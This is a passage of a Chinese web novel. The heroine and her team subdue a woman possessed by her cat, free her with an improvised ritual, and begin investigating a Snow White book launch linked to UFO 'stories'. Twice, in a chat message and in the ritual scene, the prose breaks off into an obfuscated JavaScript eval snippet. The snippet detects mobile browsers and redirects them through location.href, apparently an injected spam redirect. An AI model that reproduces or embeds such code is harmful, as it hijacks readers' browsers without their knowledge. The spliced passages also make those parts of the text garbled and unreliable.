“喵。” 所有人都听到了。 成柳和白仙贝对视一眼,跟在林清原身后追了过去。 林清原越追越觉得不对劲。 陈芜虽然是已经经过几个“故事”的熟练“译者”了,可她本身毕竟不是一个练家子,再怎么说也不该速度快到连自己都快追不上。 在又转过一个弯后,林清原彻底跟丢了陈芜。 白仙贝气喘吁吁地跑过来。 “找……找到了吗?” 雨水打在树叶上,发出沉闷的声响。 虽然这个别墅区是新建的,暂时还没什么人住,但绿化属实做的不错,放眼望去全是树。 倒是苦了现在在雨夜中找人的几人。 林清原看了眼还在缓劲儿的白仙贝,说: “这样不行。乱追只能是浪费时间。” 她下了决定:“贝贝先回去,成柳你送她。你们查监控,看监控哪里有问题,随时电话联系,我再顺着找。” 成柳摇了摇头。 “只有你一个人找,万一遇到什么事也不好反应。让仙贝一个人回去看监控就可以,我去问问线人们。” “线人?” 成柳笑了笑。 “准确来说,应该是‘线猫们’。我下午出去一趟就是去找小区里的原住猫们了。然后成功用罐头将它们发展成了‘线猫’!” 林清原失笑。 怪不得成柳背着个大包来了,原来里面装的是这些东西。 不得不说,成柳还是经验更丰富,应对这些任务考虑的也更周到。 于是几人按照安排各自行动了起来。 林清原顺着时不时听到的猫叫声继续寻找着。 可惜一直没找到。 雨声的干扰太大了。 又过了一会儿,群聊响了。 林清原拿出手机一看,是白仙贝发来的。 【仙贝真好吃】找到花屏的监控了! 【仙贝真好吃】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365436|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在B栋的西北角,那里应该有个喷泉! 【平心静气】?你不是回别墅了吗? 【仙贝真好吃】下午我从陈芜那里拿到了物业的电话,刚才和物业联系了,同意我来查看附近的监控了 林清原微微一笑。 万事屋的成员们真是比自己想象的还要能干很多。 她敲字回应。 【冰淇淋天下第一!】好,有任何变化随时发消息。 林清原赶往B栋的西北角,在那里果然又听到了一声猫叫。 这回似乎很近了。 林清原一边呼唤着陈芜和小蝴蝶的名字,一边慢慢找着。 忽然间,她定住了。 她感受到了一股视线。 这视线似乎是从四面八方而来,目的只有一个,那就是——死死盯住,然后一击必杀! 啪啪,沙沙,沙沙,啪啪。 在噼啪的雨打树叶声中,夹杂了一些别的怪异的声音。 林清原的呼吸变得绵长,愈来愈轻,周身的气息逐渐淡薄,好似要与黑暗融为一体。 砰! 一个身影猛地从树上的阴影中跳下,朝着林清原袭来。 它速度很快,可惜,林清原更快。 林清原双手握住伞柄一旋,直接用伞面挡住了来者的攻势。 她用力一抬,凭借伞面优秀的弹力,四两拨千斤,轻松卸了力道。 紧跟着就是就是一记高抬腿,再接一道侧踢。 林家飞鹤腿第六式,独鹤。 身影被踢到一旁的树干上,发出了一声凄惨的猫叫。 随后就三两下爬回到树上,跑走了。 林清原皱起眉头,没有追。 “谁在那?!” 身后传来了一个男人的声音。 林清原扭过头,一个男人举着灯从树后出现。 “嗯?清原老大?” 是成柳。 林清原看着他手里的东西,挑了挑眉,问:“找到什么了?” 成柳举给她看。 “死鸟。路上还有几只,这是最新发现的。” 他问:“清原老大,你不是打着伞呢吗?怎么身上还湿了?刚才遇到什么事了吗?” 林清原看了眼身上,拍了拍淋湿的肩膀,不甚在意。她问: “你的‘线猫们’询问的怎么样了?” 成柳得意一笑。 “我的罐头可不是白给的!小猫们领我找到了好几只新鲜的死鸟。不过接近这里的时候,小猫们就不愿意靠近了。正好仙贝发的位置也差不多是这里,我就一个人过来了。” 他担心地问:“刚才听到了一声巨响,还听到了猫的惨叫。没想到过来遇见的是老大你。清原老大,你没受伤吧?刚才那是什么东西?” 林清原沉思着,没回答。 就在这时,白仙贝发来了新的位置。 两人看了眼手机,结伴往新的地方赶。 到了地方,成柳率先在树下发现了一只新的死鸟。 他走过去,捡起了这只鸟的尸体。 鸟的伤口还很新鲜,从脖颈和背部的穿刺性伤口处,还在不断地冒血。 成柳鼻尖闻到了浓浓的血腥味。 这时,几滴雨落到了他的脸上、鼻子上。 他伸手一抹,颜色不对。 ——这不是雨,是血。 他抬头向上看去。 林清原早已看向了树上。 陈芜蹲在树干上,浑身湿透了,长发搭在脸上,看起来阴气沉沉。 她手里握着一只已经不再挣扎的小鸟,嘴边是大片的血,没吃完的血顺着嘴角一滴滴往下落。 她看着树下的两人,瞳孔一会儿放大,一会缩小。 她歪了歪头,张开了满是利齿的嘴巴,叫了一声—— “喵。” 12. 解决 “小姑娘,你的朋友们联系上了吗?” 监控室内,中年男人问略显焦急的少女。 白仙贝盯着花屏的监控,咬紧了嘴唇。 自从发了消息通知了陈芜可能在的地方后,林清原和成柳就联系不上了,不论她怎么发消息和打电话,都犹如石沉大海。 这让她非常担心。 不会两个人出什么事了吧! 保安安慰她:“不就是在找小猫嘛,可能你朋友抓小猫抓入迷了,来不及给你回消息呢。嗐,就是最近不知道怎么回事,监控总是时不时会花掉,检修的也来过了,说是没什么问题,真是奇了怪了。” 白仙贝笑笑,没敢多说。 这片别墅区是新建没多久的,住户不多,保安队伍人也不多。监控室里一般只留一个人值班。这大叔半夜正闲不住呢,好不容易来了个人,正好逮着一起聊聊天。 就是这个小姑娘,不知是害怕自己还是太担心朋友,除了一开始说“要找小猫”的时候多说了几句,之后就不怎么开口了。 保安大叔想了想,转而开始聊起抓小猫的经验。 “抓小猫啊,要记住不能吓它,本来好好的,一吓可能直接吓癫了,一溜烟跑角角里去了,哪都找不到了。不过本来晚上找小猫就不好找,太黑,而且现在正下雨,更不好找了。要是开着灯还好些,可惜你朋友现在在的B栋那边还没人住,就还没通电呢。” 就在这时,白仙贝的手机响了,她看了眼群聊,是成柳回的。 白仙贝突然想到了什么,她对保安大叔说:“伯伯,我想借个东西。” B栋西北角。 林清原正和陈芜缠斗在一起。 陈芜伸出长出尖利指甲的手朝林清原抓来,被后者一个后翻躲过。 随后林清原迅速绕圈跑动起来,速度越来越快,踏水的“吧吧”声不绝于耳。 陈芜看准身影,一声猫叫后凶狠地扑了上去。 林清原见陈芜扑来,丝毫不惧,后脚一踏,侧身躲过,随后紧跟一个侧旋高踢腿,但在即将踢到陈芜的头的时候又紧急变招,改为了斜鞭。 然而陈芜已经抓住了这一瞬间的停顿,压身躲过,跳到身后,双手双脚借树反跳,继续朝林清原扑来。 林清原换腿挡住,再次躲开。 成柳在一旁看的很是着急。 单比打架的话,陈芜压根和林清原不是一个量级。 但问题就在于,陈芜现在状态不明,林清原根本不敢下手,大多以躲拆招。 而且这一片没有灯,陈芜倒是没事,还如白日一般行动自如。林清原在这一点上很吃亏,虽然有成柳举着手电进行“光线追踪”,但是他的反应速度没有二者快,总是跟不上路线。 这就导致了两人目前打的有来有回,陈芜始终无法被控住。 手机又震动了,成柳分心看了一眼,才发现白仙贝已经发了好多条消息。 他回复道: 【平心静气】找到陈芜了,但是抓不住她。 【平心静气】老大不能伤着她,打的束手束脚。 【平心静气】这边太黑,我拿的有手电,但是支援不及。 刷新了几下,白仙贝没再发新的消息过来。 于是他重新把注意力放回到陈芜身上,在她想落地逃跑的时候及时进行拦截,把她重新赶回到林清原的围猎圈中。 雨下的越来越急。 林清原眨了眨眼。 睫毛已经承受不住雨水的量了,开始往眼睛里流。 她一直在收着力打,怕真对陈芜造成什么严重的伤害了。尽管陈芜现在看起来像只猫,但身体肯定还是她自己的,不能真的冲着伤残去打。 这场消耗战已经让林清原有些疲累,虽然她还能再坚持很久,但一直拖下去也不是办法。 对面的陈芜看起来体力也消耗很大了,气喘吁吁的模样看起来很是狼狈。从一开始的猛烈进攻,到现在的大部分时间都在停下休息,差别还是很大的。 在又一次休息过后,陈芜决定不再纠缠,拼尽全力逃走。 她再次向林清原扑去——然而这是个假动作。趁着林清原躲开的空隙,她瞅准成柳所在位置的反方向,一跃而起。 “糟了!” 林清原双腿使力,就要追去,但是还是晚了一步——陈芜已经冲破了二人的包围圈。 就在这时,一道强光袭来,照亮了整片树林。 陈芜直面了强光的照射,惨叫一声倒在地上,慌不择路地想换个方向离开。 但这一次她跑不掉了。 成柳一个大网套住了她。 绳网收紧,捕获完成! 赶来的白仙贝手持强光电筒,身后跟着保安大叔。 保安大叔很着急:“哎呀,小姑娘!灯别开那么亮!怎么有惨叫声?你照到人的眼睛了吗?!” 保安大叔看到网里挣扎着的陈芜,吓了一跳。 “你们在干什么?!不是说抓猫吗?怎么抓人了?!” 林清原按住网,正在想怎么解释的时候,成柳上前了一步,笑眯眯地应答: “大伯,我们确实在抓猫。这是走丢的猫的主人,她本来和我们一起来抓猫的,但是因为一直找不到,就气急攻心犯病了,现在正准备把她送回家休息呢。” 保安大叔在半信半疑中陪几人回到了陈芜的家,在确认了陈芜是住户、且身体确实无大碍后,才叮嘱了几句离开了。 走的时候还不忘了把白仙贝借的强光手电拿回去了。 陈芜在回到家后就安静下来了,只偶尔“喵”两声。 所以林清原几人就没再网着她了,帮她擦干了身体后,就只是把她胳膊反绑在椅子上,交替留人看管着。 林清原是最后一个去洗的。等她洗完澡出来,就看到了愁眉苦脸的万事屋成员。 “怎么这个样子?” 白仙贝叹了口气,说:“不知道要怎么办呀。现在陈芜是不反抗了,可是也拿她没办法呀。” 成柳说:“看这样子,小蝴蝶大概是和陈芜融为一体了,所以它才会在晚上失踪。等到‘安全期’结束,陈芜的能力副作用消失,猫咪也就正常了。” 林清原也很头疼。 她拉来又一个椅子,和同伴们团团坐在一起。 “现在搞清楚了小猫失踪的原因,顺带连周围出现死鸟、她身上偶尔出现血迹的原因也搞清楚了。但只搞清楚这些没有用啊,小猫白天出现,晚上照样会失踪,问题还没解决。” 三人齐齐叹了口气。 想了想,成柳给方室长打去了电话。 方室长人还在睡觉,不过被吵醒了也不生气,在听说了这件事后,给出了自己的建议。 “怎么说?有办法了?” 林清原看向挂了电话后若有所思的成柳,问。 成柳挠挠头,说:“可能吧。方室长说让我试试我的办法。总之先试一试吧。” “你的办法?”白仙贝问。 成柳没有解释,他让二人去找糯米和生肉过来。 白仙贝没找到糯米,就按成柳的吩咐换成了大米和盐。 东西准备齐全,成柳连带着从自己带的背包里拿出来的线香、打火机和红色颜料,规整地摆在了一旁。 林清原对成柳的背包充满了敬意。 “你到底带了多少东西?猫罐头、登山手电筒、捕鱼网,现在又有香和颜料,怎么什么都有?” “还有别的吗?”白仙贝很好奇。 成柳笑了一下,答:“没别的了。这个办法再没用的话,我是真的什么东西都没有了。” 他把大米浸水,再放盐里滚了一圈,然后围着陈芜所坐的椅子均匀地撒了一圈。 随后他把生肉切了四块,涂上红颜料,两块放在陈芜手心里让她握住,还有两块则放了她左右肩膀处各一块。随后又塞了一块没有涂颜料的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365437|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生肉在陈芜的嘴里。 “你们扶一下她,别让她肩膀上的肉掉了。也注意别让她把嘴里的生肉咽下去。” 林清原和白仙贝听着指示行动。 然后成柳点燃了两根线香,就立在原地不动了。 白仙贝咽了口唾沫,悄悄对林清原说: “我怎么感觉像是误入了什么不得了的仪式现场……” 林清原也咽了口唾沫,悄声回答: “我也这么觉得……” 成柳笑了一下。 “我可都听到了。” 他安慰道:“不用害怕,很快就结束了。” 说完,他将还带着香灰的线香举到了陈芜面前。 他的手很稳,香灰还完整地立在香上。 他压低了声音,说出的每个字都很清晰,但细听又整体都是含糊不清的: “天八才,地经朗,道行起偏斗,特烛落其身。” 念完这句话,他嘴一吹,香灰尽数飘到了陈芜脸上。 林清原和白仙贝感觉手下扶着的陈芜,身体猛地一烫。 随后陈芜就开始剧烈地咳嗽。 她越咳越厉害,很快就把嘴里的那块生肉咳了出来。 就在生肉被咳出来的那一瞬间,一只橘猫出现在了众人眼前,稳稳地落在了陈芜的腿上。 白仙贝有些被吓到了。她带着哭腔问: “小鹤……我没看错吧?小蝴蝶好像是从陈芜身体里弹出来的吧?这是小蝴蝶吧?” 林清原的声音有些干涩。 “你应该没看错……因为我也是这么看的……” 和小蝴蝶分离了的陈芜似乎清醒过来了。 她感觉嗓子痒痒的,总忍不住想咳。眼睛也好像进了灰,不停地流眼泪。 她想抬手擦擦眼睛,却发现手被绑住了。 正在她心慌的不知如何是好的时候,她被松绑了,脸也被人用热毛巾擦干净了。 等睁开眼,她看到的就是举起一长条橘猫向自己炫耀的成柳。 “小蝴蝶!” 陈芜激动地想去抱住自家猫咪,却被林清原和白仙贝一人拽了一只手,拿湿巾擦着。 陈芜看着自己双手上的红色颜料,和周身的一地奇怪的布置,愣了。 她颤了几下,还是没忍住问: “我……我是还在活着吧?” 成柳笑坏了。他把橘猫放到了陈芜怀里,说: “摸摸,热乎乎的小猫咪。你当然还活着。” 陈芜紧紧抱住了自己的小猫咪。她猛吸了几大口,抬头看到外面还在黑着的天,兴奋地问: “难道事情解决了?!” 林清原摸摸下巴,说:“解决了。” 陈芜高兴地又亲了小蝴蝶几口。 “……吧。是解决了吧?”林清原悄悄问成柳。 成柳点点头,然后把林清原拉到一旁,悄悄答: “是解决了。但是……” 白仙贝凑过来,悄悄问:“还会复发吗?” “会。现在只是暂时把小猫从体内逼出来了。等她下一次从‘故事’中出来,可能还会把小猫吸进体内。” 陈芜看着不远处嘀嘀咕咕的几人,疑惑道: “怎么了吗?” 林清原挠挠头,正思考着怎么回答,就听陈芜询问在她失去意识的这段时间里到底发生了什么事,于是几人就挑一些重点给她复述了。 本来以为陈芜听完之后会害怕,没想到她的第一反应是感动。 “呜哇!小蝴蝶!原来你一直都在妈妈身体里,呜呜呜妈妈好感动……你一定是不想妈妈加班太辛苦了才这样抚慰妈妈的心灵吧……多好的小猫咪,吸一口……有了小猫咪在,什么加班什么痛苦通通都不算数!小猫咪就是世界上最棒的!” 林清原听了这些话,有了一个想法。 “我好像知道要怎么彻底解决这个事情了。” 13. 新的任务 在解决了陈芜的“寻找小猫”的委托后,万事屋的大家又陆续接了几个新的委托,全部圆满完成,总算让万事屋的“百分百好评”变得真材实料了。 就这样,有一天,万事屋的几人被召到飞研办开会了。 林清原到那才发现,一同被叫来的还有新记明。 “呦,小新,你也在啊。” 林清原热情地朝新记明打招呼。 新记明礼貌地点点头,答: “你好,林清原。” 他话说的疏离,人也看起来有些冷淡,但这只是他的表象罢了。他的内心此刻正在经历狂风骤雨: [林!清!原!这么久没见,你还是这副没心没肺的样子!竟然抢在了我前面打招呼!可恶!就慢了那么两秒!下次你一定不会超过我的!] 会议还是方室长召开的。他给新记明介绍了万事屋的成员,这样大家就算认识了。 成柳站起身握住新记明的手。 “久仰久仰!早在我还在官方的时候就听说过新家少掌门的名字,今天才是第一次见。” 白仙贝看看新记明,又看看林清原,眼睛亮晶晶的。 林清原看得好笑,问:“怎么了?” 白仙贝很激动,但不敢太过表现出来,就压低了声音说: “之前一直和小鹤你在一起,只觉得你很厉害,现在见到新记明,才意识到你和他都是武林世家哎!武!林!世!家!哎!” 林清原笑着摸了摸白仙贝的头。 头发软软的,像在摸兔子毛,真好摸。 她问:“你也是武林中人啊。你可是跟林家少掌门学了基本功的。” 白仙贝傻笑。 万事屋的第一个真正的委托结束后,白仙贝就请求林清原教她一些招式。 林清原不必说,林家少掌门,武功实力高强;成柳,前官方队伍成员,打起架来也毫不手软。 跟他俩比起来,白仙贝唯一的优势就是“没有痛觉”。不过这在真把式面前压根不够看的。 白仙贝不想做那个一直都受保护的人,正好有林清原在,现成的老师,现成的教学。 从那之后到现在又过了一个多星期,在林清原的锻炼下,白仙贝觉得自己的体力好像变好了一点。不说是真正的武林中人吧,最起码算是入门学徒了。 方室长欣慰地谈起万事屋完成的委托,又讲了新记明在这一段时间的行动。 林清原这才知道,原来新记明这段时间也没闲着。他虽然没加入“万事屋”,但是以个人的匿名身份接了几个委托,而且好评率也是百分之百。 林清原给成柳发消息: “瞧瞧,百分百好评委托,万事屋的好苗子。” 成柳咧开嘴笑了,眼睛盯着新记明,眼神带上了一些热切:“把他抓过来!” 林清原也咧开嘴笑了,她眼睛盯着新记明,眼神中带上了不易察觉的势在必得:“把他抓过来!” 新记明皱起眉头,狐疑地盯着林清原。 [这家伙怎么表情这么奇怪,怎么感觉对我有所企图?] 想了一下,新记明自觉找到了原因。 [哼,原来是被我的帅气折服了。林清原,你也有今天!我这张帅脸可不是白长的!看在你这么上道的份上,之后让你加入我的队伍也不是不行。] 他越想心情越舒畅,最后直接冲林清原绽放了一个帅气的得意笑容。 林清原接收到了这个笑容。只不过这个笑容的意图接收错了。 [哇,现在就开始讨好我这个万事屋老大了,孺子可教也!果然,最开始拒绝了我的邀请,就是因为不好意思啊!没关系,我会再给你一些考验的机会,等考验合格了,再来我的万事屋吧。] 她端出“万事屋老大”的矜持,朝新记明温柔地笑了一下。 两个人就这么互相误会着,诡异地达成了共识。 白仙贝看了看对笑的两人,郎才女貌,脑中突然冒出了一个小人,扛着一面小旗子,吭哧吭哧爬到了头顶,把小旗子插了上去,占领了高地。 小旗子无风自动,上面写着三个大字: 磕CP。 她靠近身旁的成柳,想向他分享自己的发现: “阿柳,你看他们两个!感觉有点好吃的苗头……” 成柳看着靠过来的小小一个脑袋,秀发茂密,还带着好闻的洗发水味道,一时没忍住摸了两把。 白仙贝愣住,然后捂住自己的头猛地后撤。 她委屈地说:“不可以随便摸我的头发。” 她朝林清原那边搬了搬椅子,扭过头去,不再看成柳。 小鹤摸头就算了,那可是小鹤!其他人是不可以随便摸头发的! 成柳摸完才意识到自己唐突了,随即向白仙贝道歉,可是得到的依旧只是一个后脑勺。不过在回想了长发那柔顺的手感后,他还是觉得不亏。 果然和清原老大说的一样,白仙贝的头发像兔子毛似的,又软又滑,手感一流。 方室长对陈芜委托的后续很好奇,于是他直接问了: “你们最开始的那个找小猫的委托,最后是怎么解决的?” “这个啊。” 时间回到一个多星期前。 “我好像知道要怎么彻底解决这个事情了。” 林清原在听了陈芜的那番话后,心里有了个想法。 “怎么解决?” 白仙贝和成柳都很好奇。 林清原问陈芜几个问题:“你是不是特别爱你的小猫?爱它爱到想一直陪在身边?是不是见不到小蝴蝶就难过?” 陈芜点点头:“对啊,非常非常爱我的小猫。如果能一直陪在身边当然是最好的啊。之前在的那家公司不仅每天加班,还没有小猫!我天天都见不到我的小猫,所以最后受不了就辞职了。” 林清原又问:“那你现在就算是自由职业,大部分时间都在家里,也总有出门的时候吧。这时候身边没有小蝴蝶的话又该怎么办?” 陈芜想了想,捂住了小蝴蝶的耳朵,悄悄告诉了几人一个令小猫震惊的事情: “其实……我在外面养的有猫。” 小蝴蝶没听到,还以为陈芜捂住它的耳朵是在和它玩,自己一只猫扑腾的不亦乐乎。 “也不能说是养吧,就是会随身带一些吃的,遇到了会喂。不过那几只小家伙一般都在前面那条街上,所以每次我出门,也都会顺路去看看。” “几只?”白仙贝惊讶。 她本以为陈芜是还在“家猫”外属意了另一只猫,没想到是广撒网,一下爱好几只。 陈芜有些不好意思。 “哈哈……其实那几只小猫还是我看着长大的,以前只有两只大猫,我自从租了这边的房子,就一直在喂了,比遇到小蝴蝶还早呢。后来大猫生了几只小猫后就不见了,我尝试找过,但一直找不到,可能已经不在了。” 她揉揉小蝴蝶的耳朵。 “小蝴蝶当然是我最爱的猫猫。在我压力最大的那段日子,是小蝴蝶拯救了我。不过天底下的猫猫都很可爱!猫猫这种生物就是创世主最伟大的发明!” 陈芜说着说着,直接扯到了创世主上,深刻地表达了她对猫猫的喜爱。 林清原点点头,露出一个笑容。 “这样,你下次‘不稳定期’,去猫咖看看。去过猫咖吗?” 陈芜很心动,但又有些犹豫。 “想去,但没去过。偷偷喂那几只小猫已经让我觉得在背着小蝴蝶干坏事了,去猫咖的话……” 成柳笑道:“猫咖里可是有好多种猫的,撸双倍猫猫,享双倍快乐。去猫咖的时候多带一套衣服,回家前换上,再及时洗澡,也留不到什么味道。” 陈芜越听越心动,但对小蝴蝶的爱还在支撑着她不越过那条踏上不归路的红线。 直到林清原的下一句话说出来。 “其实让你去猫咖,也是对小蝴蝶好。” “为什么?” “根据我的判断,你之所以会在‘不稳定期’间把小蝴蝶吸进体内,一方面是能力的影响,另一方面就是压力过大。你在压力大的时候,就想吸猫。只亲亲抱抱还不够,不如彻底吸进体内,融为一体。至于为什么只在晚上‘吸猫’,可能跟你第一关的内容有关。” 陈芜想起自己第一关的被迫夜晚加班,永恒的夜晚,永恒的加班,脸色惨 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林清原问:“那你会的这些操作,跟你的那场意外有关?如果是什么不想说的,不说就行了。” 成柳答:“确实和那场意外有关。不过没什么,也不是什么秘密。我在当时那个任务里,中了诅咒。” “诅咒?” 二人是真没想到。 “诅咒”这种东西,一般都被归到“超现实”的范畴里了,就算现在UFO横行,这个词语离一般人的思维也很遥远。 “对,诅咒。”成柳接着说,“嗯……总之,在中了诅咒后,除了受了很重的伤以外,我的身体还发生了一些变化,不是不能再继续留在队伍里了,只是我还接受不了,所以就申请退队了。在那之后,我就开始钻研和‘诅咒’相关的东西,不止道术,外国的巫术什么的我也研究了。而可能因为我本身中了‘诅咒’的缘故,我在做这些‘术法’的时候,意外地挺有用。所以我当时也是‘死马当活马医’了,只能试一试看了。” “那你身边也有会用‘术法’的人吗?别人也能做成这些东西吗?”白仙贝问。 “没见过。我之后也拜访过一些所谓很有名的道士、巫师之类的人,但和我比起来,他们反倒像是骗人的了。可能因为我有能力加‘诅咒’的双重BUFF在吧。” “哦?你的能力也是和‘诅咒’相关的吗?”林清原问。 “是啊,我的能力是‘献祭’,献上相应的祭品,法阵成,就可以实现一些事情。” “这么厉害!”林清原惊叹。 白仙贝听了成柳的能力,想起了他说过的他经历的第一个“故事”,那里只活下了他一个人,想来就是和“献祭”有关。不由地对他多了几分心疼。 “就是因为我的能力和这类神神鬼鬼的东西相关,所以我之后被派的任务也大多和这相关。没想到后来翻了车,虽然‘故事’完结了,队友也都好好的,但我自己却中了诅咒,而且至今还没找到解除的办法。” 成柳豁达地笑笑:“不过这样一来,我顺势退队,来咱们万事屋效力,工资照拿,时间却自由了许多,也能继续找解除诅咒的办法,也挺好的。” 至此,第一个委托姑且解决了,剩下的就等着陈芜下一次进入“故事”后的反馈了。 而在这次会议的前几天,陈芜进入了“故事”,并在当天回来了。她按林清原的建议及时去了猫咖,果然当晚没再把小猫吸进体内,睡了个安稳觉。 林清原和成柳还专门去验收了成果,守了第二晚,也没再出现问题。 陈芜当场在万事屋的验收贴下面打了五星,还洋洋洒洒写了千字好评。 方室长听完了后续,也很满意。 “很好,有这样的应变能力,不愧是‘万事屋’的老板,哈哈哈。” 随后,他给在场的几人派发了一个调查任务。 “这几天,经过对本地网络舆论的监测,有一个话题讨论度比较高,而且内容很符合‘故事’的雏形。所以我希望你们可以一起就此事进行调查。” “什么话题?” “《格林童话故事集之白雪公主精装版》的发售。” 14. 童话故事 市中心最大的商场平日里人流量就多,今日更是达到了一个高峰。随处可见穿着公主裙的小孩和大人,配上满商场的彩花装饰、漂亮立牌,俨然成了最新的网络热门打卡地点。 这当然是因为近日《格林童话故事集之白雪公主精装版》的发售,连带着整套童话系列书籍都进行了打折。 家喻户晓的童话具有天然的影响力,加上网络的宣传,喜欢或者不喜欢的人都想过来蹭蹭庆典的氛围。 尤其今天,是书籍售卖的第三天,也是《白雪公主》经典动画版本的现场再放映,吸引到的人数达到了一个惊人的数字。 林清原清早练完功,就来到了商场,随便挑了一家咖啡店吃早餐,边吃边等着其他人的到来。 白仙贝很快来了,她点了贝果。 林清原看着细心往贝果上抹果酱的白仙贝,突然笑了一下。 白仙贝疑惑地看过来。 “仙贝吃贝果……嗯,不对……贝果被贝贝吃。” 林清原说了个不怎么押韵的冷笑话。 白仙贝没有继续涂果酱的兴致了。她咬了一口贝果,看着被自己说的冷笑话逗得嘎嘎乐的林清原,还是很贴心地捧哏: “哈哈,贝果被贝贝吃掉了哦。” 这一下戳到了林清原的笑点,她猛笑几声,就发出了一声犹如鸭子的“嘎”声,然后就由于笑得太过用力失了声,只能一个劲锤桌子,缓解自己被笑痛的肚子。 周围的人被声音吸引的看过来。 白仙贝惊慌到手里的贝果都掉盘子里了。她涨红了脸,紧紧握住林清原的手,不让她再继续制造噪音。 她就不该捧那句哏! 后来好不容易缓过劲儿的林清原算是消停不了了,看到白仙贝的脸就控制不住的笑,最后只能看起手机,才转移了注意力。 白仙贝感觉自己都快尴尬熟了。 好在店里的人走的快,很快就来了一批新的顾客,她才算是磕磕绊绊地把早餐吃完了。 吃完早餐的白仙贝看着正抱着手机笑得肩膀一抖一抖的林清原,心里有不好的预感,于是问道: “你在看什么?” 林清原捂着嘴把手机屏转过来。 上面是“冷笑话大全”。 生怕林清原下一秒又给自己讲冷笑话的白仙贝及时转移了话题: “新记明呢?他不是说他早上就过来吗?” “他啊……呵呵…他今天不来了。他大早上进‘故事’了。呵呵呵……” 林清原努力让自己变得正经。 白仙贝叹了口气。 “你怎么突然开始看冷笑话了?平常也没见你这么喜欢啊?” 林清原终于缓过来了。 她解释道:“这不是今天要来调查嘛,我昨天回家之后就在查《白雪公主》的资料。结果查着查着话题就跑偏了,到冷笑话那边去了。然后我就看了一晚上冷笑话。” 白仙贝:“?” 林清原嘴角抽搐,强忍笑意,说:“给你讲个关于‘白雪公主’的笑话,听不听?” “不听!” 然而林清原自顾自开始讲了。她不能只让她自己一个人笑,她要把这份快乐分享给其他人。 “你知道为什么白雪她吃了毒苹果后只是陷入长久的昏睡,却一直没有死去吗?” 白仙贝知道现在制止林清原的最好办法就是无视她。但看着林清原那期待的眼神,还是心软了。 “为什么?” “因为她是Snow(白雪),死,NO。” 果不其然,说完答案的林清原又开始了新一轮狂笑。不过这回她注意了一些形象,不再敲桌子,而是蜷靠在了沙发上。 白仙贝低下头。她为自己的心软伤感。 成柳姗姗来迟。 他刚坐下,就注意到了把自己蜷成了一个球的林清原。 “清原老大怎么了?” “哈哈……就是,哈哈……” 林清原抬头,想解释一下,但连一句完整的话都说不出来,最终只能继续埋头,控制自己的气息,免得真把肚子笑爆炸了。 成柳看向白仙贝,寻求解答。 白仙贝问:“你知道为什么白雪她吃了毒苹果后只是一直昏睡,却没有死去吗?” 成柳想了下:“因为没彻底吃进去,所以毒性不够?” 白仙贝双眼无光:“因为她是Snow(白雪)。” 成柳愣了一下,随后想明白了:“哦,因为死NO……” 白仙贝叹气,搅拌了一下饮料,无奈道: “是吧,这么冷的笑话,也就小鹤她……” 话说到一半,她感觉身旁有些不对劲。 哪里在一抖一抖的? 扭头看去,是被戳了笑点的成柳。 成柳捂住嘴,止不住的笑声从指缝中漏出。然后愈演愈烈,他也趴倒在沙发上,疯狂锤沙发。 白仙贝:“?” 白仙贝被挤在沙发和墙夹角的小角落里,觉得异常心酸。 她万万没想到,一向看起来很成熟的成柳竟然也是林清原那一派的。 在白仙贝把饮料也喝完后,一直狂笑的二人终于恢复了正常。 “走吧,出去看看情况,调查一下有没有新的传闻。” 林清原站起身,拿起脚旁立着的古剑。 白仙贝这才注意到这把剑。 “你把这剑带来了?” 林清原把剑背在背上,整个人多了分肃杀的气质。 “对,不是说可以带进‘故事’里嘛,就让家里人缝了个剑袋,比较好拿。” 几人在商场里逛着。 虽说是抱着“打听消息”的目的来的,但其实也没能打听出什么来。能看到的都是和平的景象,到处是欢声笑语,压根没什么“异变”的痕迹。 所以之后就变成了单纯的逛街。 商场很大,几人逛了一上午,也没逛完。 午饭就在商场内解决了。 吃过饭,三人就在店里歇着了。 下午三点开始是《白雪公主》经典动画版的再放映,那才是重头戏,差不多时间了再去也行。 成柳翻看着下午放映会的消息。 林清原则抱着剑发愣。 白仙贝问她:“怎么了?” 林清原答:“就是在想今天会不会来UFO。”她看了眼热闹的人群,“如果真的来了,那商场这么多人都要疏散,在‘故事’结束前,庆典都不能继续了。” 成柳说:“这也是没办法的。比起庆典,还是人们的安全更为重要。” 林清原有些不满。 “这次我总该进UFO了吧,上次都没进去!” 白仙贝安慰她:“能进,这次肯定能进去。” 林清原看着她说:“本来还说你每次进‘故事’的时候我都陪你一起,结果选人太随机了,上次明明我离你更近,吸进去的却是成柳!” 成柳笑眯眯的:“哎呀,清原老大,你是没见到仙贝的能力,可厉害了,治疗个小伤小病的那是立竿见影。” 就在万事屋从陈芜家离开没两天,新的UFO来了,正好停在了白仙贝家附近。 林清原得到了消息就往那赶,和成柳一起陪着白仙贝,想一起帮她完结这次的“故事”。 结果等了一个小时,UFO终于开始吸人,在场等着的人吸了大半,只留下了几个“幸运儿”。 林清原正是其中之一。 林清原人都傻了,追着UFO大喊:“别走!我也要进去!” 然而UFO只留下了个傲娇的背影,就消失在了云层中。 林清原气鼓鼓地回了家。 好在成柳和白仙贝第二天就出来了。虽然据说在UFO里受了点小伤,但在出来前已经被白仙贝治好了。 自那次之后,林清原再也没见过新的UFO,有时候得到消息赶去,等赶到的时候,也什么都没见到。 